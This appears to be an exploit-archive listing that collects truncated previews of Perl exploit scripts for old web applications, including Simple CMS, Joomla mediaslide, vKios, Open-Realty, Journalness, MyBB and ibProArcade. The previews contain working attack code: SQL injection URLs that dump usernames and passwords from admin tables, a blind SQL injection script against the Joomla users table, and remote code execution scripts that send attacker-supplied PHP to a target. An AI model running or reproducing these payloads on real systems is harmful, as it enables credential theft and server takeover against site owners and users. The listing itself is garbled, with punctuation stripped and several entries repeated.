AuraCMS 1.62 Multiple Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================== AuraCMS 1.62 Multiple Remote SQL Injection Exploit ================================================== !/usr/bin/perl Indonesian Newhack Security Advisory ----------------------------------...

Simple CMS <= 1.0.3 (indexen.php area) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================================== Simple CMS new or die; my...

Simple CMS 1.0.3 - area SQL Injection

Simple CMS 1.0.3 - area SQL Injection !/usr/bin/perl Simple CMS new or die; my $go=$cnx-get$victim."/indexen.php?area=-1+union+select+1,concat0x5f5f5f5f,0x5b215d20757365723a20,UName,0x20205b215d20706173733a20,PWord,0x5f5f5f5f,3,4,5+from+cpanelauthors/"; if $go-content = m/.?/ms print "$1\n"; else...

Simple CMS 1.0.3 - 'area' SQL Injection

!/usr/bin/perl Simple CMS new or die; my $go=$cnx-get$victim."/indexen.php?area=-1+union+select+1,concat0x5f5f5f5f,0x5b215d20757365723a20,UName,0x20205b215d20706173733a20,PWord,0x5f5f5f5f,3,4,5+from+cpanelauthors/"; if $go-content = m/.?/ms print "$1\n"; else print "\n- exploit failed\n";...

Joomla! Component mediaslide - albumnum Blind SQL Injection

Joomla! Component mediaslide - albumnum Blind SQL Injection !/usr/bin/perl inphex joomla commediaslide blind sql injection use LWP::UserAgent; use LWP::Simple; use Switch; use Digest::MD5 qwmd5 md5hex md5base64; print "usage: $0 -h host.com -p /\n"; use Getopt::Long; $column = "username"; $table ...

joomlamedia-sql.txt

!/usr/bin/perl inphex joomla commediaslide blind sql injection use LWP::UserAgent; use LWP::Simple; use Switch; use Digest::MD5 qwmd5 md5hex md5base64; print "usage: $0 -h host.com -p /\n"; use Getopt::Long; $column = "username"; $table = "josusers"; $regex = "previewf2"; %cmn = "-h" = "host","-p...

Joomla! Component mediaslide - 'albumnum' Blind SQL Injection

!/usr/bin/perl inphex joomla commediaslide blind sql injection use LWP::UserAgent; use LWP::Simple; use Switch; use Digest::MD5 qwmd5 md5hex md5base64; print "usage: $0 -h host.com -p /\n"; use Getopt::Long; $column = "username"; $table = "josusers"; $regex = "previewf2"; %cmn = "-h" = "host","-p...

vkios-sql.txt

!/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ vKios NTOS-Team-fl3xu5,k1tk4t,opt1lc use LWP::UserAgent; use Getopt::Long; if!$ARGV2 print "\n |-------------------------------------------------------|"; print "\n | Indonesian Newhack Technology |"; print "...

vKios 2.0.0 - cat SQL Injection

vKios 2.0.0 - cat SQL Injection !/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ vKios NTOS-Team-fl3xu5,k1tk4t,opt1lc use LWP::UserAgent; use Getopt::Long; if!$ARGV2 print "\n |-------------------------------------------------------|"; print "\n | Indonesia...

vKios <= 2.0.0 (products.php cat) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== vKios NTOS-Team-fl3xu5,k1tk4t,opt1lc use LWP::UserAgent; use Getopt::Long; if!$ARGV2 print "\n |-------------------------------------------------------|"; print "\n | Indonesia...

Open-Realty <= 2.4.3 (last_module) Remote Code Execution Exploit

Exploit for unknown platform in category web applications ================================================================ Open-Realty ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "PHP code to evaluate? "; chomp$code=; $code = s/|new;...

Journalness 4.1 - last_module Remote Code Execution

Journalness 4.1 - lastmodule Remote Code Execution !/usr/bin/perl Vendor url: journalness.sourceforge.net note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Journalness ; if$target ! /^http:/// $target = "http://".$target;...

Open-Realty &lt;= 2.4.3 (last_module) Remote Code Execution Exploit

No description provided by source. !/usr/bin/perl Vendor url: www.open-realty.org note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Open-Realty = 2.4.3 Remote Code Execution exploit By Iron - randombase.com Greets to everyone at...

Journalness &lt;= 4.1 (last_module) Remote Code Execution exploit

No description provided by source. !/usr/bin/perl Vendor url: journalness.sourceforge.net note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Journalness = 4.1 Remote Code Execution exploit By Iron - randombase.com Greets to everyo...

Journalness 4.1 - 'last_module' Remote Code Execution

!/usr/bin/perl Vendor url: journalness.sourceforge.net note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Journalness ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "PHP code to...

Open-Realty 2.4.3 - 'last_module' Remote Code Execution

!/usr/bin/perl Vendor url: www.open-realty.org note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Open-Realty ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "PHP code to evaluate? ";...

MyBulletinBoard (MyBB) <= 1.2.11 private.php SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================== MyBulletinBoard MyBB =4.1 and a valid registration. By F use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; use HTML::Entities; print"\n"; print"\n"; print" MyBB new...

A-Blog 2.0 - Cross-Site Scripting SQL Injection

A-Blog 2.0 - Cross-Site Scripting SQL Injection !/usr/bin/perl A-Blog V.2 Multiple Remote Vulnerabilities SQL Injection Exploit/XSS AUTHOR : IRCRASH Discovered by : Dr.Crash Exploited By : Dr.Crash IRCRASH Team Members : Dr.Crash - Malc0de - R3d.w0rm Script Download :...

BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection

!/usr/bin/perl BlogPHP V.2 Multiple Remote Vulnerabilities SQL Injection Exploit/XSS AUTHOR : IRCRASH Discovered by : Dr.Crash Exploited By : Dr.Crash IRCRASH Team Members : Dr.Crash - Malc0de - R3d.w0rm Script Download : http://puzzle.dl.sourceforge.net/sourceforge/blogphpscript/BlogPHPv2.zip XS...

ibProArcade &lt;= 3.3.0 Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl ibProArcade = v3.3.0 sql injection exploit coded by 1dt.w0lf RST/GHC THIS IS UNPUBLISHED RST/GHC EXPLOIT CODE KEEP IT PRIVATE use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; BEGIN if$^O eq 'MSWin32' require Win32::Console;...